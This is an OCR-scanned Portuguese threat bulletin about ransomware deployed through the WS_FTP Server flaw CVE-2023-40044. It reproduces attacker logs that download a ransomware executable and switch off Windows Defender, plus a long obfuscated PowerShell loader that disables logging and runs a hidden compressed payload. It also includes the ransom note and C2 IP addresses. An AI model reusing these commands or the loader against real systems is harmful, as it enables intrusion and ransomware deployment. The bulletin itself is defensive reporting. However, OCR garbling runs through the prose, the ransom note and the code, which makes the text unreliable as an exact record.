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Receba alertas e informagdes sobre seguranga
cibernética e ameacas rapidamente, por meio do
nosso Twitter.
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A conta oficial do grupo de Threat Intelligence da ISH.
Conhec¢a mais do que fazemos aqui:

Acesse boletins diarios sobre agentes de ameacas,
malwares, indicadores de comprometimentos, TTPs e
outras informacdes no site da ISH.

Boletins de Seguranca — Heimdall

¢

Malware Malware Ransomware

CONTAS DO FACEBOOK SAD INVADIDAS ALERTA PARA RETORNO DO MALWARE GRUPO DE RANSOMWARE CLOP
POR EXTENSOES MALICIOSAS DE EMOTET! EXPLORANDO VULNERABILIDADE PARA
NAVEGADORES NOVAS VITIMAS

0 malware Emotet apés permanecer alguns
Descoberto recentemente que atores meses sem operagdes retornou cou outro 0 grupo de Ransomware conhecido como
maliciosos utilizam extensdes de meio de propagagdo, via OneNote e também Clop esta explorando ativamente a

ara realizar o roubo de cookies dos métodos ja conhecidos via Planilhas e vu idade conhecida como

como o Facebook. A Documentos do Microsoft Office. -0669, na qual realizou o ataque a

iosa é oferecida como um diversas organizagdes e expos os dados no

site de data |eaks.
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1 EXPLORACAO PARA IMPLANTACAO DE RANSOMWARE

Atores de ameacas estdo utilizando a exploracdo da CVE-2023-
40044 para fins de implantagdo da carga final de Ransomware. A noticia
vem da empresa de seguranga Sophos a qual alegou que identificou
tentativas malsucedidas de implantar ransomware por meio do servigo
néo corrigido.

De acordo com a Sophos, foram observados os seguintes
comportamentos:

W3wp .exe >> donwload do goodbye.psl >> GodPotato-NET35.exe >> LB3.exe

A sequéncia foi apresentada na captura de tela apresentada, sendo
que w3wp.exe € um componente do IIS, jd o GodPotato € uma ferramenta
de escalonamento de privilégios de codigo aberto e LB3exe é o
Ransomware.

Invoke-WebRequest -Uri ) V € -OutFile
C:/Users/Public/esc.exe -cmd i power 1 ) Set-MpPreference -DisableRealtimeMonitoring

C:/Users/Public/esc.exe -cmd ¢ mmar Set-MpPreference -DisableScanning \

Invoke-WebRequest -Uri “http: .exe” -OutFile “C:\Users\Public\LB3.exe
C:/Users/Public/esc.exe -cmd

Figura 1 — Logs identificados com relagdo ao ataque.

A Sophos ainda forneceu uma cépia da nota de resgate editada do
ransomware, na qual contém os dizeres de “Grupo de Crimes
Cibernéticos Reichsadler” (o qual apresenta o nome das imagens
nazistas) tentou realizar a extorsdo em Bitcoin a US$500 do suposto alvo.
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> What happened?
All of your €iles have boen encryplied and are unrecoverahle, but do not fear

paying a very low price and recelving @ Decrypter Software

» Fow can | recelive the y
You must look at the end of ¢
in to that addr
pocified above the BIC Address a
your decrypter will be sent in the email

ou will fingd a BTC address, you must send 500 US FIAT
have sent the paysen

ntact the email

yOU mUst co

1he wument and send y

IS A DEADLINE, CHECK

v 1D, after that

INFO ))

> What is wy deadline?

Your deadiing to pay the ransom Is 15 October 2022 10 PM Moscow Standard Time
After the deadline it does not matter if you send momey, you will never be able
to recover your files

> Fow can I buy bitcoin?

You must duy & send 0.018 8TC (580 US FIAT)

Figura 2 — Nota de resgate apresentada pelo Ransomware.

Jé com relacdo as instancias vulneraveis do servidor WS_FTP, a
Progress Software atualizou o software para corrigir varias falhas, das
quais duas sdo classificadas como criticas, trés como altas e trés de
gravidade média. O fornecedor afirmou que a Unica maneira de corrigir as
falhas é usar seu instalador para obter uma versdo 875 ou 883
completamente nova do software.

As duas falhas criticas correspondem a uma vulnerabilidade de
desserializagdo do .NET no Mddulo de Transferéncia Ad Hoc da empresa
para compartilhamento de arquivos entre pessoas, rastreada e catalogada
como CVE-2023-40044. A vulnerabilidade pode ser explorada para
execugdo de codigo remota fazendo com que o atacante assuma o
controle do sistema subjacente.

A exploracao da vulnerabilidade aconteceu um dia apds a Progress
Software atualizar o software WS_FTP Server (28 de setembro), na qual um
pesquisador de seguranga identificado como “MCKSys Argentina”
publicou um cdédigo de exploracédo da PoC (prova de conceito).
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Realizando pesquisas para o cenario brasileiro, foram encontrados
apenas 9 (nove) servidores que estdo expostos publicamente e que
podem estar vulnerdveis a CVE-2023-40044, de acordo com a imagem
abaixo:
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Figura 3 — Servidores disponiveis publicamente em Séo Paulo.

Ja no cenério global, foi possivel identificar aproximadamente 1.900
(mil e novecentos) servidores expostos publicamente, sendo os EUA
como o pais com maior quantidade de ativos vulneraveis.

Para corrigir as vulnerabilidades os servidores devem ser
atualizados para:

e Server WS_FTP 2020.0.5(8.7.5)
e Server WS_FTP 2022.0.3 (8.8.3)

Indicadores de tentativas de exploragdes foram compartilhados os
quais se encontram abaixo:

:: Comments are added so this does not naturally fire.
In the original sample, these comments are not present.
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C:\\Windows\\SysWOW64\\cmd.exe /c powershell.exe -nop -w hidden -noni -c
<!#-— 1if ([IntPtr]::Size -eq
4) {$b=$env:windir+'\\sysnative\\WindowsPowerShell\\vl.0\\powershell.exe'}els
e{$b="powershell.exe'};$s=New-Object

System.Diagnostics.ProcessStartInfo; $s.FileName=$b; $s.Arguments='-noni -nop
-W hidden -C $X_wa3:(('YSc'V+Y'{Z}iY'+'th{l}loc{O}LoggV'+'Vin'Y+V'g")_
£rrk', VB, "' ) ; If (SPSVersionTable. PSVersion.Major —-ge 3) {
$SW:(("E"+"nable{3}"+"c{"+"l}"+"ip{O}BlOC{z}LOgging"“""')_

flltl‘,‘lrl|,|lkll,llsll)’.
Sp8=[Collections.Generic.Dictionary[string, System.Object]]::new();

$gGO0=(('"Ena''+''ble{2}c{5}1{3}t{""+""4}loc""+""{0}{1}""+"'nv""'"+"'0""+"' "cati
OnLoggiVl+'Vng'V)_f’lkl’,’lIl’,’lSl’,’lpl’,’lBl’,"r");

$9XZz4D=[Ref] .Assembly.GetType ((('"{0}y'"+"'s"'""+'""tem.{1}a"'"'+"''n""+''a{4}emen
t.A{5}t""+"'omati""+"''on. {2""+"'""}ti{3}s'") -
fllSl‘,‘lMl‘,‘lUll,l'l'l,l'gll,llull));

SplhF=[Ref] .Assembly.GetType (((""'{""+''6}{""+""'S}stem. " "+""{""+""'3" "+ "} {9}

'+"n{9}{"+"2}ement"+".{"+"8}{"+"4}t{"+"7"+"}"+"m{9}ti{7}n"+'
v-vv_‘_vv{8vv+vv}vv+vvmvv+vvsi{ovv+vv}ti{vv+vvl}sll)_

f"U","l","g","M","u","y","S","O","A","a")); if ($pth) {
SPLhF.GetField (((''""+''a{' "+ "0} ' "+''si{4} "+ 'nit{ "+ 1} T+ ait T+ T 1{2}{
'l+l'3}l')_

f''m'"', "R, e, g, "I YY), " 'NonPublic, Static' ') . SetValue (Snull, Strue) ;

}; $1CJ=$jXZ4D.GetField (' 'cachedGroupPolicySettings'', ''NonPublic,Static'"');
If ($1Cj) { $a938=$1Cj.GetValue ($Snull); If($a938[$x_wa3]){
$a938[$x wa3] [$sw]=0; $a938[S$x wa3][$gG0]=0; } $p8.Add($g9G0,0);

Sp8.Add ($sw,0) ;

$a938[' 'HKEY LOCAL MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShe
1II\\""+$x wa3]=$p8; } Else {

[Ref] .Assembly.GetType ((("'S{2}{3}""+"'"'t""+"'em''+'"' . Mana'"'+"''ge'"+"' 'ment. {'
'+''5}{4}to"'"+""mation.Scr''"+"'"ipt{1l}loc{O0}"'") -

frrkr, B, Pyt Mgt gt P TAY ) ) L GetField (! 'signatures' ', ' "NonPublic, S
tatic'') .SetValue ($null, (New-Object Collections.Generic.HashSet[string]));

}};&([scriptblock] ::create((New-Object System.IO.StreamReader (New-Object
System.IO.Compression.GzipStream( (New-Object

System.IO.MemoryStream(, [System.Convert]::FromBase64String (((''H4sIABO''+''6
GmUCA+1XbU/FOBD+vt {0} +B2sVKYkUghbYFSAhXUihl1KW10N{0}e0glWIpm2Xhy70A7bsrv//cZ5
0eV40edkpPtAJKuJPTMeP/PYfjpORaiZFIR97JCE79+R4ulQRWPiIWOFALs09YrGZuxy0J1lu8TXad
M/Rns7gMKROINZ0gVQq{1l}zr8rDdB+kkB8yRkkjkt+kc{1l}UFKydXH6HUJOfxPpWaXB5SX1htgho
OAWy50vIiB3{0}kJr{1}Kt0Z2Z9gxv3613eFabVTZv04pTxy7ul0g0xJWIc9slv10zYW8xA8dusVDJ
RI5'"'"+''1ZcD{1}xnrl1XCRODG2MdgMtOFMZJITYuZrkcBTpVI1+VCZMbOTa+dpQM/ShSkCS2R4Zmg
uFo09Icz{0}GY/S4VmMVSaQo0Ssy60GxZCUjmkIuJwBuMRenW1lYmIycl00u5FX4Fgi5dw]j/yaM0""
+ ' "4y £IXYvdXIWNdCgqo5XrYU' "+ ' "0 fWWd { 0 } RimH3NN+JINGcBy4+0ORcQvI8GWnEFIn5JWvtUEfIdC
yo3yG2Qhgzk5HJ1zz31iVV]7RwdqglWuCnlVMpuKM7xIkVb/qfvZdGg5Wu6HjTS{0}Fn''+''2Jcs
Gi1i397xHAG183+h+N1dN8rsOYCagvBI1ZWF {0 }WeawsMOaQgV"''+"''IpzdgqYoWMXAxXDVgcO{1l}agO
0YceDt/2Y6TvEVZTXCIQEYmKTzAqr 7t 5PJq+dYzdFC2K{1}{0}/9Gulpj3ChQWhebY1HObr7RyA4
4TRKPAF{0}cgaFHUkASRB7xRcKKIT/VMnul1l+m2Ug5ZSBNdhhu5f8ezmDeQIt {1} gDbGyi{1l}GvO
40QUW4g8cghi2BvOWNTcn7 7UUACYInuIIx0gwXBHGN {1} Vxu+K{1}wl44Zb6YJuxjMOMdpkR8cBp
xM8"''"+' 'KIp9khGMTiCyn8q03A85+Q02JSgreW{0}Bulxqg]/Sz0ngSGZyRYv8pi4dHUJ500KAOKF
NutOHeQpuNYInj0/UrQ9UCpgwUpRGQAYXjPZrAp838wH{1}+NAN/8tbe2lt7a//71mjzUJzVogZP
mkGtFsbz718GbXnRIfUF25PRAdmP{1}7Z210+r5t8£ff99dbi835STIMW73mp506vIkKtnvR7fRz0z
697fG{0}WiSOAto/qw80j0R7f1s0g/75" "+' '2Xnt9Kg/bwz2+xeDwWwiW7s/5cdzfxDni5mG7+uX
P020z2A6etT3d3f2Ap/{0}wnAm9sT4yl+yG{1}TDv31k83N5a0zgf{1l'"'+"'"'}ImgtgpIp5Xhko/Iqg
788DgQ4KMAWRZHg4JtHKV' "+ '6A{1}cISXKHT{0}08FfnXIZ" '+' 'GyuWgC3Vkrub6M2DxvZmk99u
aSOO0N3gfHKrp2dC8wS77Hshgkcg5bjoqVedblSrKM6g8+pmdmO9fHGBNC2cPJpn9F0Gz118nsXHkG
xMHOfVIUMhr1FNPAPaU/jh3Fd4+aMcyS9kg+KelHwVw2Jpd5y4ByFiv8P1D4 ' '+' '2Mz91CIdbgm
1jaaNxVzWyllyeXr0gqgQllM8SfoRw' '+' 'Tt+54ZfRGpgl600IPu+x0rwuzl IBhQptGwiwqgdQy7d
n0Ci2DUrZTblwS0x{0}th7zr/Yk1"''+''Wtt/JeU6bS/"'+''A{0}1"'""'+' 'B1lnZODwWAA"'") -
£f''L','"'E" ")) ) ), [System.IO.Compression.CompressionMode] : :Decompress))) .Read
ToEnd ())) ';$s.UseShellExecute=S$false; $s.RedirectStandardOutput=$true; $s.Wind
owStyle="'Hidden';$s.CreateNoWindow=S$true; Sp=[System.Diagnostics.Process]::St
art ($s);"1 -—>

Figura 4 — Sintaxe do PowerShell identificado pela Huntress em pesquisa publicada.
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Trojan:PowerShell/PsAttack.B

Key

Category

Threat Type
Detected At
Remediated At
Created At
Severity

Threat Action
Threat Status
Detection Source
Execution Status

05 Resources

Value

Trojan

Known Bad

2023-10-02 12:40:37 UTC
2023-10-02 12:41:02 UTC
2023-10-02 12:47:24 UTC
Severe

Remove

Removed

Systemn

Unknown

["CmdLine:_C\WWindowsWSysWOWedhomd.exe /c

powershell.exe -nop -w hidden -noni -c if{[IntPtr]:5Size -eq 4)
{$b=%enviwindir+"\sysnative\\WindowsPowerShellw1.0\power

shell.exe'}else{$b='powershell.exe'};$s=New-Object

System.Diagnostics.ProcessStartinfo;$s.FileName=8b;$s.Argume

nts="-noni -nop -w hidden -c $x_wa3=
(("Sc"+"{2H"+"pt{1Hoc{0}Logg" +"in"+"g"}-

i BY s If($PSVersionTable . PSVersion.Major -ge 34 $sw=

Figura 5 — Sintaxe do PowerShell identificado pela Huntress em pesquisa publicada.

Além disso, localizaram a utilizacdo do certutil para download de

arquivos.
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2 IoCs

A ISH Tecnologia realiza o tratamento de diversos indicadores de
compromissos coletados por meio de fontes abertas, fechadas e também
de analises realizadas pela equipe de seguranca Heimdall. Diante disto,
abaixo listamos todos os Indicadores de Compromissos (IOCs)
relacionadas a anélise do(s) artefato(s) deste relatério.

Indicadores de compromisso de artefato malicioso
File name: | zpvmRqTOsP.exe

File name: | 7ZzPtgYwodVf.exe
Tabela 1 — Indicadores de Compromisso de artefato de Host.

URLSs de distribuicao e enderecos IP C2:

103[.]163[.]187[.]12:8080
64[.]227[.]126[.]135
86[.148[.]3[.]172
103[.]163[.]187[.]12
161[.]35[.127[.]144
162[.]243[.]161[.]105

Tabela 2 — Indicador de Compromisso de Rede

Obs: Os links e enderegos IP elencados acima podem estar ativos; cuidado ao
realizar a manipulagédo dos referidos IoCs, evite realizar o clique e se tornar
vitima do conteudo malicioso hospedado no IoC.
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e Heimdall by ISH Tecnologia

e Publicacdo da Sophos-X acerca do Ransomware
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e Comunicado Progress Software — CVE-2023-40044
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